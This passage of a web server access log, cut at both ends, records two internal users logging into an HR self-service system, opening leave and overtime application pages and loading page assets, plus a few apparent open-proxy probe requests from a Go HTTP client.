/eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:03:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.12.46 - - [03/Dec/2025:16:04:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.12.46 - - [03/Dec/2025:16:04:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.12.46 - - [03/Dec/2025:16:04:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.46 - - [03/Dec/2025:16:04:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.12.46 - - [03/Dec/2025:16:04:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.12.46 - - [03/Dec/2025:16:04:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [03/Dec/2025:16:04:36 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:36 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.12.46 - - [03/Dec/2025:16:04:38 +0800] "GET /eHR/js/date.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:38 +0800] "GET /eHR/js/date.js HTTP/1.1" 304 - 192.168.12.46 - - [03/Dec/2025:16:04:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.12.46 - - [03/Dec/2025:16:04:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:38 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:38 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.12.46 - - [03/Dec/2025:16:04:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:16:04:38 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:38 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.12.46 - - [03/Dec/2025:16:04:38 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:04:38 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 304 - 192.168.12.46 - - [03/Dec/2025:16:05:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5942482304952127 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:05:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5942482304952127 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:16:05:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5942482304952127 HTTP/1.1" 200 18796 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5942482304952127" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:05:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5942482304952127 HTTP/1.1" 200 18796 192.168.12.46 - - [03/Dec/2025:16:05:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:05:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 192.168.12.46 - - [03/Dec/2025:16:05:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:05:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.12.46 - - [03/Dec/2025:16:05:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:05:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [03/Dec/2025:16:05:38 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:05:38 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.12.46 - - [03/Dec/2025:16:05:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:05:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:16:06:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3432349219153612 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:06:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3432349219153612 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:16:06:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3432349219153612 HTTP/1.1" 200 18799 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3432349219153612" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:06:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3432349219153612 HTTP/1.1" 200 18799 192.168.12.46 - - [03/Dec/2025:16:06:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4225 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:06:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4225 192.168.12.46 - - [03/Dec/2025:16:06:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:06:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:16:07:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19575133375815423 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:07:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19575133375815423 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:16:07:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19575133375815423 HTTP/1.1" 200 18787 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19575133375815423" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:07:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19575133375815423 HTTP/1.1" 200 18787 192.168.12.46 - - [03/Dec/2025:16:07:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4209 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:07:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4209 192.168.11.60 - - [03/Dec/2025:16:07:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:16:07:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.60 - - [03/Dec/2025:16:07:38 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:16:07:38 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [03/Dec/2025:16:07:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:16:07:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [03/Dec/2025:16:07:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:16:07:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 192.168.11.60 - - [03/Dec/2025:16:07:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:16:07:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [03/Dec/2025:16:07:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:16:07:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [03/Dec/2025:16:07:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165839 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:16:07:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165839 192.168.11.60 - - [03/Dec/2025:16:08:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6465 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:16:08:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6465 100.64.0.1 - - [03/Dec/2025:16:34:48 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:16:34:48 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:16:34:51 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:16:34:51 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 192.168.12.46 - - [03/Dec/2025:16:36:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:36:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.46 - - [03/Dec/2025:16:36:06 